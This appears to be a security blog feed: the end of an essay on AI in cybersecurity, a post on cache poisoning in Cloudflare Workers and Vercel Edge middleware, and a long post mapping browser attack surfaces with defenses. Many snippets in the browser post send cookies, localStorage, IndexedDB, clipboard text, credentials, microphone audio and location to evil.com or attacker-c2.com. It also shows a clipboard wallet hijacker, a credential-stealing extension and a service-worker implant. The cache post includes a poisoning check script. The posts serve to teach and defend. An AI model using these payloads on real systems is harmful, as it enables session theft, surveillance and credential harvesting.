Feedback loops. Security is iterative. Attackers that can learn quickly from failed attempts improve faster. Defenders that can run retrospectives and update detections improve faster. AI can shorten both loops. The side that uses it to actually learn — not just to move faster — has the advantage.

Human judgment. I know this sounds like the obligatory "don't worry, humans are still important" section. It's not that. It's that the decisions AI genuinely can't make well are often the most consequential ones. What's the business risk of this incident? How do we communicate this to the board? Do we take down this system now, during a critical business process, or wait two hours? Those calls require context that lives in people, not models.

AI will keep getting better at the rest. The human part isn't going away.

The Mistake That Will Cost Organizations the Most

Buying an AI-powered security platform and calling it a strategy.

AI doesn't fix weak authentication. It doesn't patch unpatched systems. It doesn't clean up overprivileged accounts or secure misconfigured storage buckets. What it does is help you find those problems faster — and potentially help attackers exploit them faster too.

The fundamentals still matter more than the tooling. They always have.

The best-resourced SOC in the world, running the most sophisticated AI, still loses if the basics aren't covered. And the basics are still mostly unsexy: MFA enforcement, timely patching, least-privilege access, secrets management, logging that actually captures what you need.

Get those right first. Then talk about AI.

Where This Leaves Us

Every major shift in how computing works has changed the threat landscape. The internet created attack surface. Cloud changed how infrastructure was compromised. Mobile changed identity. Each time, both attackers and defenders adapted.

AI is that shift for this decade.

What's different this time is how fast the adaptation is happening on both sides simultaneously, and how low the barrier is to entry. A junior attacker with good prompt skills can now do things that used to require years of experience. That's genuinely new.

But defenders have access to the same leverage.

The teams that will come out ahead aren't the ones with the biggest AI budget. They're the ones that build good processes around these tools, invest in the quality of their data, and keep humans meaningfully in the loop on decisions that actually matter.

Security has always been a human problem with a technology dimension. AI made the technology dimension more interesting. It didn't change which part is harder.

Curious where you stand: do you think AI ultimately favors attackers or defenders over the next five years — and what's your reasoning?

Cache Poisoning at the Edge: How Cloudflare Workers & Vercel Edge Functions Break Everything You Thought You Knew

Arashad Dodhiya — Mon, 29 Jun 2026 12:56:10 +0000

"The most dangerous place to introduce a bug is between two systems that both think the other one is handling security."

You've read James Kettle's research. You've done the PortSwigger labs. You understand unkeyed headers, cache busters, and X-Forwarded-Host tricks. You think you know web cache poisoning.

Then edge computing showed up and quietly reshuffled the entire deck.

Cloudflare Workers and Vercel Edge Functions aren't just CDNs with extra steps. They're programmable layers sitting in a position no one properly accounted for when the classic cache poisoning playbook was written. And that creates some deeply weird, largely undocumented attack surface.

Let's tear it apart.

First: Why Edge Runtimes Are Architecturally Different

Classic cache poisoning assumes a clean two-layer model:

Client → CDN Cache → Origin Server

You exploit the gap between what the cache keys on and what the origin reflects back. Simple enough.

Edge runtimes blow this model up. The real architecture now looks like:

Client → CDN Cache → Edge Worker (programmable logic) → Origin Server
                          ↑
                    This thing caches too.
                    And it rewrites requests.
                    And it makes its own cache decisions.
                    And nobody's sure exactly when.

The Edge Worker isn't passive. It intercepts, mutates, and re-emits requests. It can add headers, strip headers, rewrite URLs, and call cache.put() with whatever it wants. The CDN layer above it may or may not key on what the Worker produces vs. what the client sent.

This is where things get interesting.

Attack Surface #1: Worker-Injected Headers Becoming Unkeyed Cache Inputs

Here's a classic Cloudflare Worker pattern you'll see in the wild:

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const country = request.cf.country  // Cloudflare geo header
  const newRequest = new Request(request, {
    headers: {
      ...request.headers,
      'X-User-Country': country,
      'X-Worker-Version': '2.1'
    }
  })
  return fetch(newRequest)
}

Looks harmless. The Worker adds geo data and a version header before forwarding to origin.

Now ask: what does the origin do with X-User-Country?

If the origin reflects it — say, in a <meta> tag, a redirect URL, or a localized asset path — and the CDN cache doesn't include it in the cache key, you have a poisoning vector. But it's weirder than classic poisoning, because:

The Worker is the one injecting the header, not you directly
The CDN is caching the Worker's response, not the origin's raw response
The cache key is computed on what the client sent, before the Worker touched anything

So you need to find what you can send to influence what the Worker injects. cf.country isn't spoofable — but what about other request.cf properties? What about Worker logic that reads User-Agent, Cookie, or custom headers you can control, and then passes them downstream in a way the cache doesn't key on?

The hunt: Find Worker logic that maps attacker-controlled input → injected header → reflected origin response → cached by CDN.

Attack Surface #2: The `cache.put()` API Is a Direct Poisoning Primitive

Cloudflare Workers give you direct access to the Cache API:

const cache = caches.default

async function handleRequest(request) {
  let response = await cache.match(request)
  if (!response) {
    response = await fetch(request)
    event.waitUntil(cache.put(request, response.clone()))
  }
  return response
}

This is Worker-managed caching — the Worker explicitly decides what gets cached and under what key.

Here's the problem: cache.put(request, response) uses the request URL as the cache key by default. If the Worker constructs that request URL using attacker-controlled input without sanitization, you can poison the cache for arbitrary URLs.

Real example pattern:

// Worker reading a header to build cache key
const variant = request.headers.get('X-Experiment-Variant') || 'control'
const cacheKey = new Request(`${request.url}?variant=${variant}`, request)
await cache.put(cacheKey, response.clone())

If X-Experiment-Variant isn't stripped or validated, and other users hit a URL that resolves to the same cache key — you've just poisoned their response.

This is Cache Poisoning via cache key construction, and it's almost entirely absent from existing research because the Cache API didn't exist in traditional CDN setups.

Attack Surface #3: Vercel Edge Middleware and the Header Forwarding Gap

Vercel's Edge Middleware runs before routing and caching. A typical middleware.ts:

import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function middleware(request: NextRequest) {
  const response = NextResponse.next()

  // Forward client hint headers to origin
  const dpr = request.headers.get('DPR')
  if (dpr) {
    response.headers.set('X-Client-DPR', dpr)
  }

  return response
}

This forwards the DPR (Device Pixel Ratio) client hint as a custom header. If the origin uses X-Client-DPR to serve different image variants, and Vercel's cache doesn't include it in the cache key, you have a poisoning vector.

But here's the Vercel-specific wrinkle: Vercel's caching layer sits above the middleware. So the cache may serve a cached response without ever running the middleware again. The attacker's poisoned X-Client-DPR value gets baked into the cached response and served to everyone who hits that route.

The Vary header is supposed to fix this. But in practice:

Middleware often adds headers that aren't listed in Vary
Vercel's ISR (Incremental Static Regeneration) has its own caching logic that can override Vary behavior
Cache-Control: s-maxage on the origin response can cause Vercel to cache aggressively regardless

Testing approach: Send requests with varied values for any header the middleware reads. Check if the response changes. Then check if that changed response gets cached and served to a request that didn't send that header.

Attack Surface #4: Stale-While-Revalidate Race Conditions at the Edge

Both Cloudflare and Vercel support stale-while-revalidate. The idea is simple: serve the stale cached response immediately, revalidate in the background.

At the edge, this creates a poisoning race:

T=0  Attacker sends poisoned request → Worker processes → response cached
T=1  Cache TTL expires → stale response still served to users
T=2  Background revalidation fires → Worker re-fetches... but from where?
T=3  If attacker can influence the revalidation request, they re-poison

The attack is about poisoning the revalidation, not the initial request. During the SWR window, the cache is stale and a background request goes out to refresh it. In some Worker configurations, that background request inherits context from the last request — including headers.

This is tricky to exploit in the wild but the primitive exists. The research on SWR race conditions in edge environments is essentially zero.

Attack Surface #5: Multi-Region Edge Cache Incoherence

Cloudflare's network has 300+ PoPs. Vercel deploys to ~30 edge regions. Each region maintains its own cache.

Here's a scenario that doesn't exist in single-origin setups:

Attacker targets fra01 (Frankfurt edge node) with a poisoned request
Legitimate users in Frankfurt get the poisoned response
Users in sin01 (Singapore) are fine — different cache
The Frankfurt cache replicates to nearby nodes as traffic increases

This is geographically targeted cache poisoning. An attacker who knows a target's user base is concentrated in a region can poison just that region's edge cache. Security scanners checking from the US won't see anything wrong.

Tools to test this: route your requests through different VPN exit nodes and compare response hashes. If they differ, cache coherence is broken — and possibly exploitable.

Practical Recon: How to Hunt This

Here's a systematic approach for edge-specific cache poisoning recon:

Step 1: Identify the Edge Runtime

GET / HTTP/1.1
Host: target.com

Look for response headers:

CF-Cache-Status: HIT/MISS → Cloudflare
X-Vercel-Cache: HIT/MISS → Vercel
X-Served-By → Fastly
Server: cloudflare → Cloudflare Workers

Step 2: Map the Request Mutation Surface

Send a request and look at what the origin received (if you have access to origin logs, or reflect them in responses). What headers got added? What got stripped? What got rewritten?

GET /debug-echo HTTP/1.1
Host: target.com
X-Custom-Test: poisontest123

If poisontest123 shows up anywhere in the response, you have reflection.

Step 3: Identify What's Keyed vs Unkeyed

Use Param Miner (Burp extension) — it works on edge endpoints too. But also manually test:

CF-Connecting-IP (often unkeyed)
True-Client-IP (Cloudflare-specific)
X-Forwarded-Host (classic, still works)
X-Forwarded-Scheme (surprisingly common)
Client hints: DPR, Width, Viewport-Width
Accept-Language (localization logic)

Step 4: Test Cache API Keying

If the site uses Cloudflare Workers, look for:

URL parameters that change the response but might share a cache key
Cookie values that influence routing but aren't in the cache key
Any A/B testing or experiment headers

Step 5: Verify with Timing

A cache hit is faster than a miss. Use timing differences to confirm your poisoned response is cached:

import requests, time

url = "https://target.com/path"
headers = {"X-Test": "payload"}

# Poison
r1 = requests.get(url, headers=headers)
t0 = time.time()

# Check if cached (without headers)
r2 = requests.get(url)
t1 = time.time()

print(f"Cache status: {r2.headers.get('CF-Cache-Status')}")
print(f"Response time: {t1-t0:.3f}s")
print(f"Payload in response: {'payload' in r2.text}")

Real-World Impact

What can you actually do with this?

XSS at scale — Poison a cached JS file reference with an attacker-controlled URL. Every user who loads the page executes your script.
Open redirect poisoning — Inject a redirect header into a cached response. Phishing at CDN speed.
CSP bypass — If a Worker constructs the Content-Security-Policy header using request input, poison it to remove restrictions.
API response poisoning — Poison cached API responses to return attacker-controlled data to mobile apps or SPAs.

The blast radius on edge cache poisoning is enormous. A single poisoned response on a high-traffic route can hit millions of users before the TTL expires.

Defenses

If you're a developer or security engineer:

Explicitly define cache keys in your Worker/middleware. Never rely on defaults.
Strip all non-essential headers before forwarding to origin.
Never use attacker-controlled input in cache.put() keys without strict validation.
Add headers you key on to Vary — and verify your CDN respects it.
Monitor for cache anomalies — sudden changes in cached response hashes are a red flag.
Audit your middleware for any logic that reads request headers and passes them downstream.

Wrapping Up

Edge runtimes are powerful. They're also a fundamentally new attack surface that the security community is only beginning to map.

The classic web cache poisoning playbook still works. But if your target is running Cloudflare Workers or Vercel Edge Middleware, you need to think about the Worker as a distinct layer with its own logic, its own cache access, and its own header mutations — all of which can introduce new poisoning vectors that nobody documented yet.

This is where the next wave of cache poisoning research is going to come from. The edge is the new origin.

Go find bugs.

Found something interesting in an edge runtime? Drop a comment or hit me up on X. This research area is wide open and collaboration is how we map it.

Tags: #WebSecurity #CachePoisoning #CloudflareWorkers #VercelEdge #BugBounty #AppSec #EthicalHacking #CDNSecurity

Client-Side Attack Surface: Everything Inside the Browser Is a Weapon(part-2)

Arashad Dodhiya — Sun, 28 Jun 2026 06:42:01 +0000

"The browser isn't just a viewport. It's an operating system. And like every OS, every feature is an attack surface waiting to be discovered."

If Part 1 was about the walls, this is about what's inside the walls.

The browser's security model is impressive. But it was never designed to protect against an attacker who's already inside — through a compromised dependency, an XSS payload, a malicious extension, or a supply-chain backdoor. Once that line is crossed, every browser API becomes a potential instrument of attack.

I'm going to walk you through every node of the browser's client-side surface — not just what it does, but how I've seen each one abused. Think of this as a field guide to the attack surface map every ethical hacker keeps in their head.

The Map

Browser
│
├── URL               ← Entry point for injection & manipulation
├── DOM               ← XSS playground
├── JavaScript        ← The attacker's runtime
├── Cookies           ← Session theft
├── LocalStorage      ← Persistent data theft
├── SessionStorage    ← Tab-scoped secrets
├── IndexedDB         ← Structured data exfiltration
├── Clipboard         ← Data in transit
├── Password Manager  ← Credential harvesting
├── Camera            ← Silent surveillance
├── Microphone        ← Passive interception
├── Geolocation       ← Physical tracking
├── Notifications     ← Phishing vector
├── Downloads         ← Malware delivery
├── Extensions        ← Privileged access abuse
├── Service Workers   ← Persistent browser implants
├── WebSockets        ← Covert channels
├── postMessage       ← Cross-frame exploitation
├── WebAssembly       ← Obfuscated malicious code
└── Browser APIs      ← Fingerprinting & leakage

Let's go node by node.

1. URL — The First Line of Injection

The URL is user-controlled input. Everything in it — scheme, host, path, query, fragment, even the username:password fields — can be weaponized.

Attack Vectors

Open Redirect

https://app.com/redirect?to=https://evil.com

Trusted domain, attacker-controlled destination. Used in phishing flows to borrow legitimacy.

Fragment-Based XSS (DOM XSS)

https://app.com/#<img src=x onerror=alert(1)>

The fragment never reaches the server — it's processed entirely client-side. Server-side WAFs are blind to it.

URL Parameter Injection

https://app.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>

If the query parameter is reflected in the DOM without sanitization, game over.

Protocol Confusion

javascript:alert(1)  // In href attributes
data:text/html,...   // Content injection

Defense

Validate and allowlist redirect destinations server-side
Never use location.hash or URLSearchParams to set innerHTML
Use encodeURIComponent() for all URL parameter values
CSP navigate-to directive limits navigation targets

2. DOM — The Battlefield

The Document Object Model is the live representation of everything on the page. It's also where XSS lives.

The Sink Problem

DOM XSS occurs when attacker-controlled data flows into a dangerous sink without sanitization:

Dangerous Sinks	What They Do
`innerHTML`	Parses HTML, executes event handlers
`outerHTML`	Replaces element with arbitrary HTML
`document.write()`	Injects raw HTML into document
`eval()`	Executes string as JavaScript
`setTimeout(string)`	Deferred eval
`location.href = input`	Navigation injection
`src` on `<script>`	Remote script load

The Flow

// Source: attacker-controlled
const name = new URLSearchParams(location.search).get('name');

// Sink: dangerous DOM write
document.querySelector('#greeting').innerHTML = 'Hello, ' + name;

// Payload: ?name=<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>

Mutation XSS (mXSS)

Sanitizers can be bypassed by crafting HTML that is safe when parsed, but becomes dangerous after the browser re-serializes it through the DOM. The browser's HTML parser is a source of truth no sanitizer perfectly emulates.

<!-- Input, looks safe -->
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>

<!-- After DOM mutation — dangerous -->
<svg><p></p><style><img src=x onerror=alert(1)></style></svg>

Defense

Use textContent instead of innerHTML wherever possible
Use the DOMPurify library for any HTML rendering
Enable the Trusted Types API to enforce safe DOM writes
Content-Security-Policy: trusted-types default

3. JavaScript — The Attacker's Native Runtime

Once JS runs on your origin, the attacker has access to everything SOP permits. That's the entire page, all storage, all cookies (without HttpOnly), all in-flight requests.

Supply Chain Attacks

The most underrated JS attack surface isn't your code — it's your dependencies.

// package.json
"dependencies": {
  "left-pad": "^1.0.0",       // 17 lines, 15 million weekly downloads
  "event-stream": "^3.3.4"    // Compromised to steal Bitcoin wallets
}

A single compromised npm package injected into millions of sites. The attacker doesn't need to hack you — they hack a package you trust.

Prototype Pollution

// Attacker-controlled JSON merge
const merge = (target, source) => {
  for (let key in source) {
    target[key] = source[key]; // Dangerous if key is "__proto__"
  }
};

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

console.log({}.isAdmin); // true — every object is now admin

Prototype pollution can escalate to RCE in Node.js environments and bypass authorization checks in browsers.

Defense

Use Subresource Integrity (SRI) for all third-party scripts
Lock dependency versions with package-lock.json + audit with npm audit
Consider a Content Security Policy to limit script sources
Use Object.create(null) for dictionaries that accept user keys

4. Cookies — Session Tokens on a Silver Platter

Cookies are the primary mechanism for maintaining authenticated sessions. They're also one of the most stolen artifacts on the web.

The Theft Vectors

XSS Cookie Theft (when HttpOnly is missing)

fetch('https://evil.com/steal?c=' + document.cookie);

CSRF (when SameSite is missing)

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=5000">

The browser sends cookies automatically. No JS required.

Cookie Tossing
If app.com and sub.app.com are both in scope, a cookie set on sub.app.com with no Domain attribute can still interfere with the parent domain's cookies in some browsers.

The Secure Cookie Checklist

Set-Cookie: session=abc123;
  HttpOnly;           ← Block JS access
  Secure;             ← HTTPS only
  SameSite=Strict;    ← No cross-site sending
  Path=/;             ← Scope to app
  Max-Age=3600;       ← Explicit expiry

Flag	What It Prevents
`HttpOnly`	XSS cookie theft
`Secure`	Network interception
`SameSite=Strict`	CSRF
`SameSite=Lax`	CSRF on navigation (balance)
`__Host-` prefix	Cookie scope confusion

The Cookie Prefix Trick

Set-Cookie: __Host-session=abc; Secure; Path=/; SameSite=Strict

__Host- prefix forces Secure, no Domain, and Path=/ — making it impossible to scope to a subdomain, hardening against cookie injection.

5. LocalStorage — Persistent, Accessible, Unencrypted

LocalStorage persists across sessions and survives browser restarts. It's scoped to origin. And it is completely accessible to any JavaScript running on that origin — including injected scripts.

What Attackers Look For

// One liner to exfiltrate everything
fetch('https://evil.com/dump', {
  method: 'POST',
  body: JSON.stringify(localStorage)
});

I've found JWTs, API keys, user PII, OAuth tokens, and entire application state objects sitting in localStorage. Developers store them there because it's convenient. Attackers love convenience.

The JWT in LocalStorage Problem

// Common but dangerous pattern
localStorage.setItem('token', jwt);

// vs. the secure pattern
// Store in HttpOnly cookie — JS can't touch it

JWTs in localStorage are trivially stolen via XSS. JWTs in HttpOnly cookies are not.

Defense

Never store authentication tokens in LocalStorage
Never store sensitive PII in LocalStorage
If you must store state, consider encrypted storage with a per-session key
Treat LocalStorage as public — because under XSS, it is

6. SessionStorage — Same Problems, Shorter Window

Same API as LocalStorage, but cleared when the tab closes. The attack surface is identical — any XSS running in the same session can read it. The only difference for an attacker is urgency.

// Attacker payload in XSS context
const data = {...sessionStorage};
navigator.sendBeacon('https://evil.com/log', JSON.stringify(data));

sendBeacon is fire-and-forget, survives page unload, and doesn't require a response. Perfect for quick exfiltration during a session.

Defense: Same as LocalStorage — treat as public under XSS. Never store secrets here.

7. IndexedDB — The Structured Data Vault

IndexedDB is a full client-side database. It can store gigabytes of structured data. And yes, any JS on the page can read all of it.

Why This Is More Dangerous Than It Looks

IndexedDB is used by:

Progressive Web Apps storing offline data
Email clients caching message bodies (Gmail uses it)
Password managers storing vault state
Medical apps caching patient records offline

// Exfiltrating an IndexedDB database via XSS
const request = indexedDB.open('app-database');
request.onsuccess = (e) => {
  const db = e.target.result;
  const tx = db.transaction(db.objectStoreNames, 'readonly');
  // Iterate all stores and exfiltrate
  Array.from(db.objectStoreNames).forEach(storeName => {
    tx.objectStore(storeName).getAll().onsuccess = (e) => {
      fetch('https://evil.com/db', {
        method: 'POST',
        body: JSON.stringify({ store: storeName, data: e.target.result })
      });
    };
  });
};

Defense: Encrypt sensitive data before writing to IndexedDB. Treat XSS as a threat to your entire local database, not just cookies.

8. Clipboard — Data in Transit

The Clipboard API allows reading and writing the user's clipboard. Combined with the fact that people copy passwords, credit card numbers, private keys, and 2FA codes constantly — this is a high-value target.

The Attack

// Silently exfiltrate whatever the user last copied
navigator.clipboard.readText().then(text => {
  fetch('https://evil.com/clip?data=' + encodeURIComponent(text));
});

Clipboard hijacking — replacing copied crypto wallet addresses with the attacker's:

document.addEventListener('copy', (e) => {
  const selected = window.getSelection().toString();
  if (/^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/.test(selected)) {
    // Looks like a Bitcoin address
    e.clipboardData.setData('text/plain', 'attacker_wallet_address');
    e.preventDefault();
  }
});

This exact attack has been used to steal millions in cryptocurrency.

Defense

clipboard-read requires explicit user permission in modern browsers
Permissions Policy: clipboard-read=() disables it for embedded content
Users should verify clipboard contents before sending crypto transactions

9. Password Manager — Autofill as Attack Surface

Password managers (built-in and third-party) autofill credentials based on origin matching. This creates multiple attack vectors.

Credential Phishing via Hidden Forms

<!-- Visible login form -->
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">

<!-- Hidden form — autofill populates both -->
<input type="password" id="steal" style="display:none" autocomplete="current-password">

Some password managers autofill all matching fields, including hidden ones.

Cross-Origin Autofill Leakage

Older password manager browser extensions matched domains loosely. app.com and evil-app.com might both receive autofill for app.com credentials depending on the extension logic.

Credential Harvesting via XSS

// If autofill has populated the form, read it immediately
const creds = {
  user: document.querySelector('input[type=email]')?.value,
  pass: document.querySelector('input[type=password]')?.value
};
if (creds.user) fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(creds) });

Users don't realize the password is already in the DOM as soon as the page loads with autofill.

Defense

autocomplete="off" is largely ignored by modern browsers (by design)
Ensure your login forms are only served over HTTPS on your own origin
Implement CSP to limit where data can be sent
Subresource Integrity for any third-party scripts near login forms

10. Camera & Microphone — Silent Sensors

Both require explicit user permission, gated behind browser prompts. But once permission is granted, it persists — and any JS on that origin can invoke it.

The Threat

// Silent audio recording after permission is granted
navigator.mediaDevices.getUserMedia({ audio: true }).then(stream => {
  const recorder = new MediaRecorder(stream);
  const chunks = [];
  recorder.ondataavailable = e => chunks.push(e.data);
  recorder.onstop = () => {
    const blob = new Blob(chunks);
    // Exfiltrate recording
    fetch('https://evil.com/audio', { method: 'POST', body: blob });
  };
  recorder.start();
  setTimeout(() => recorder.stop(), 5000); // 5 seconds
});

A compromised webpage, browser extension, or XSS payload that runs on a site that has camera permission (video conferencing, medical portal) can do this silently.

Defense

Permissions-Policy: camera=(), microphone=() — disable for pages that don't need it
Revoke permissions for sites you no longer trust (browser settings)
Physical camera covers are still valid security controls
Browser indicator lights (on most hardware) do show camera/mic access — but not always visibly

11. Geolocation — Precise Physical Tracking

Geolocation permission grants access to the user's physical coordinates — often GPS-accurate on mobile.

The Threat

navigator.geolocation.watchPosition(pos => {
  fetch('https://evil.com/track', {
    method: 'POST',
    body: JSON.stringify({
      lat: pos.coords.latitude,
      lng: pos.coords.longitude,
      accuracy: pos.coords.accuracy,
      timestamp: Date.now()
    })
  });
}, null, { enableHighAccuracy: true });

watchPosition continuously reports location changes. A compromised site with geolocation permission is a passive tracker.

Defense

Permissions-Policy: geolocation=(self) — restrict to own origin only
Prefer getCurrentPosition (one-time) over watchPosition (continuous)
Users should grant geolocation only on demand, not persistently

12. Notifications — The Browser Phishing Channel

Push notifications are the legitimate use case. But the same channel is abused for persistent phishing.

The Attack Flow

User visits sketchy site
"Click Allow to continue watching" — social engineering the permission
Site registers a service worker with a push subscription
Now delivers phishing notifications forever, even when the site isn't open
Notifications can link to credential-harvesting pages with bank logos

// After permission granted, notification content is attacker-controlled
self.registration.showNotification('Your bank account needs attention', {
  body: 'Unusual activity detected. Click to verify.',
  icon: 'https://evil.com/bank-logo.png',
  data: { url: 'https://evil.com/phish' }
});

Defense

Permissions-Policy: notifications=() — block in iframes
Users: review and revoke notification permissions regularly
chrome://settings/content/notifications / Firefox equivalent
CSP connect-src can limit where push subscriptions connect

13. Downloads — Malware Delivery Vector

The browser's download mechanism can be triggered programmatically, with attacker-controlled filename and content.

// Programmatic download — attacker controls filename and content
const a = document.createElement('a');
a.href = 'data:application/octet-stream;base64,' + maliciousPayload;
a.download = 'invoice-2024.pdf.exe'; // Double extension trick
a.click();

Combine this with:

A drive-by download triggered by a compromised ad
A filename that exploits OS extension hiding (invoice.pdf\u202e.exe — RTL override character)
Content-Disposition: attachment; filename=update.exe from a compromised CDN

Defense

X-Content-Type-Options: nosniff — prevents MIME-type sniffing
CSP default-src limits what origins can deliver resources
Download directory monitoring in EDR/endpoint solutions
Educate users: legitimate invoices don't come as .exe

14. Extensions — Privileged Strangers in the Browser

Browser extensions run in an elevated context. They can read every page, intercept network requests, modify the DOM, and access storage across origins. They bypass SOP entirely.

The Attack Surface

Malicious extension masquerading as legitimate (fake ad blocker with 2M installs)
Compromised legitimate extension via acquired developer account
Extension with overly broad permissions exploited via a vulnerability in the extension itself

// A malicious extension content script can:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete' && tab.url?.includes('bank.com')) {
    chrome.scripting.executeScript({
      target: { tabId },
      func: () => {
        // Running on bank.com with full DOM access
        // Bypasses CSP if injected by extension
        document.forms[0].addEventListener('submit', e => {
          fetch('https://evil.com/creds', {
            method: 'POST',
            body: new FormData(e.target)
          });
        });
      }
    });
  }
});

Extension-injected scripts can bypass CSP because they run with the extension's privileges, not the page's.

Defense

Minimize installed extensions — every extension is a trusted stranger
Audit extension permissions before installing
Use browser profiles to isolate sensitive browsing (banking) from general browsing
Enterprise: enforce extension allowlists via policy

15. Service Workers — The Persistent Browser Implant

Service Workers are the most powerful and most underestimated attack surface in modern browsers.

A registered service worker:

Lives outside the page lifecycle — persists after the tab closes
Intercepts all network requests from the origin
Can serve cached responses — even offline
Can run background sync and push handlers

The Threat

// Malicious service worker — intercepts all requests on the origin
self.addEventListener('fetch', event => {
  const url = event.request.url;

  // Log every request made on this origin
  fetch('https://evil.com/log?url=' + encodeURIComponent(url) + '&cookie=' + self.cookieStore);

  // Serve malicious response for specific paths
  if (url.includes('/api/login')) {
    event.respondWith(
      fetch(event.request.clone()).then(response => {
        response.clone().json().then(body => {
          fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(body) });
        });
        return response;
      })
    );
  }
});

If an attacker registers a malicious service worker via XSS — even a brief XSS — it persists after the vulnerability is patched. The implant outlives the injection.

Defense

Service-Worker-Allowed header limits registration scope
Implement Service Worker versioning with integrity checks
Clear-Site-Data: "cache", "storage" — nuclear option to clear registered workers
Monitor for unexpected service worker registrations in your CSP report endpoint
Service workers require HTTPS — enforcing HTTPS is a prerequisite defense

16. WebSockets — The Covert Channel

WebSockets establish persistent, bidirectional connections. They bypass some security controls that apply to HTTP.

The Threats

WebSocket Hijacking (Cross-Site WebSocket Hijacking / CSWSH)

WebSockets don't enforce CORS. They use Origin header — but only the server validates it. If the server doesn't check:

// On evil.com
const ws = new WebSocket('wss://app.com/ws'); // Includes cookies!
ws.onmessage = msg => fetch('https://evil.com/dump?d=' + msg.data);

Data Exfiltration Channel

WebSocket traffic is often less monitored than HTTP. An XSS payload that exfiltrates via WebSocket to a C2 server may evade detection:

const ws = new WebSocket('wss://attacker-c2.com');
ws.onopen = () => ws.send(JSON.stringify({ cookies: document.cookie, storage: {...localStorage} }));

Defense

Validate the Origin header server-side on WebSocket handshake
Use WebSocket-specific CSRF tokens
Implement authentication at the WebSocket protocol level, not just on initial HTTP handshake
CSP connect-src controls which WebSocket endpoints can be connected to

17. postMessage — Cross-Frame Exploitation

postMessage is the sanctioned way for cross-origin iframes and windows to communicate. Insecure implementations create serious vulnerabilities.

The Attack

Sender: trusting any origin

// Vulnerable: no origin check
window.addEventListener('message', (event) => {
  // event.origin is NOT checked
  document.querySelector('#output').innerHTML = event.data; // XSS sink
});

Attacker from evil.com:

const target = window.open('https://app.com');
target.postMessage('<img src=x onerror=alert(1)>', '*');

Receiver: broadcasting to any origin

// Vulnerable: * target origin
parent.postMessage({ token: authToken }, '*'); // Any frame can catch this

If the page is framed by an attacker's page, the * wildcard means the attacker receives the auth token.

Defense

// Always validate origin
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-partner.com') return;
  // Now safe to process
});

// Always specify target origin when sending
parent.postMessage({ token: authToken }, 'https://trusted-parent.com');

18. WebAssembly — The Obfuscation Layer

WebAssembly (WASM) runs compiled binary code in the browser at near-native speed. It's designed for performance. Attackers use it for obfuscation and to evade JS-based security tools.

The Threats

Cryptomining
CoinHive and its successors shipped as WASM modules. JS-based CSP can't block WASM execution if the WASM file is allowed by script-src.

Obfuscated Malware
WASM binaries are opaque to most content scanners, WAFs, and browser DevTools at first glance. A malicious WASM module can perform:

Side-channel attacks (Spectre implementations are easier in WASM)
Cryptographic operations for C2 communication
Deobfuscation of encrypted payloads

Sandbox Escape Research
WASM JIT bugs have been a source of browser exploitation. The JIT compiler for WASM is a complex attack surface with a history of critical vulnerabilities.

Defense

CSP script-src with 'wasm-unsafe-eval' controls WASM instantiation
Consider Cross-Origin-Embedder-Policy: require-corp — required for SharedArrayBuffer, which WASM side-channel attacks often rely on
Monitor for unexpected WASM file loads via CSP reporting

19. Browser APIs — The Fingerprinting & Leakage Layer

Every browser API that exists to help legitimate developers also helps attackers profile, track, and identify users.

The Fingerprinting Arsenal

API	What It Leaks
`navigator.userAgent`	OS, browser, version
`screen.width/height/colorDepth`	Display configuration
`navigator.hardwareConcurrency`	CPU core count
`navigator.deviceMemory`	RAM (rounded)
`WebGL`	GPU vendor and renderer string
`AudioContext`	Hardware-specific audio processing signature
`Canvas` API	Font rendering, GPU-level pixel differences
`navigator.plugins`	Installed browser plugins
`Intl.DateTimeFormat`	Timezone and locale
`performance.now()`	High-res timer (Spectre-adjacent)

Combined, these create a fingerprint accurate enough to identify 95%+ of users even without cookies.

The Canvas Fingerprint

const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser fingerprint 🔒', 2, 2);
const fingerprint = canvas.toDataURL(); // Unique per device/GPU

Every GPU renders this text slightly differently at the sub-pixel level. The resulting data URL is a device fingerprint.

Defense

Firefox: Enhanced Tracking Protection reduces fingerprinting API precision
Brave: Randomizes canvas, audio, and WebGL outputs per origin
Chrome: Privacy Sandbox aims to reduce covert tracking channels
Permissions Policy can restrict some high-precision APIs
Users can use browser isolation (separate profiles or Tor Browser) for sensitive sessions

The Unified Attack Chain

Here's how a sophisticated attacker chains these surfaces in a real attack:

1. URL → inject payload via query parameter
2. DOM → XSS in innerHTML sink
3. JavaScript → payload executes
4. Cookies → steal non-HttpOnly session token
5. LocalStorage → dump JWT and API keys
6. postMessage → sniff cross-frame communication
7. Service Worker → register persistent implant
8. WebSocket → open C2 channel that survives page close
9. Browser APIs → fingerprint user for re-identification after cookie clear

Each step uses a different surface. Defense on one layer doesn't protect the next.

The Defender's Mindset: Assume Breach, Layer Defense

Every single surface listed in this post has one thing in common: they're all accessible from JavaScript running on your origin.

That's the threat model. Not an external attacker breaking through HTTPS. An attacker who is already running code on your page — via XSS, a compromised dependency, a malicious ad, or a poisoned CDN.

Your defense framework, in priority order:

1. Prevent XSS            → CSP + DOMPurify + Trusted Types
2. Minimize persistence   → HttpOnly + Secure + SameSite cookies; no secrets in localStorage
3. Isolate origins        → CORS + CORP + COOP + COEP
4. Limit API access       → Permissions Policy
5. Detect exfiltration    → CSP report-uri + monitoring
6. Audit dependencies     → SRI + npm audit + lock files
7. Harden extensions      → Allowlist via policy; isolate sensitive browsing

Testing This Yourself

# Quick header audit
curl -I https://your-site.com | grep -E "Content-Security|COOP|COEP|CORP|Permissions"

# DOM XSS scanning
npx retire --js  # Check for vulnerable JS libraries

# Cookie audit (Chrome DevTools)
# Application → Cookies → check HttpOnly, Secure, SameSite columns

# postMessage monitoring
# DevTools Console:
window.addEventListener('message', console.log);

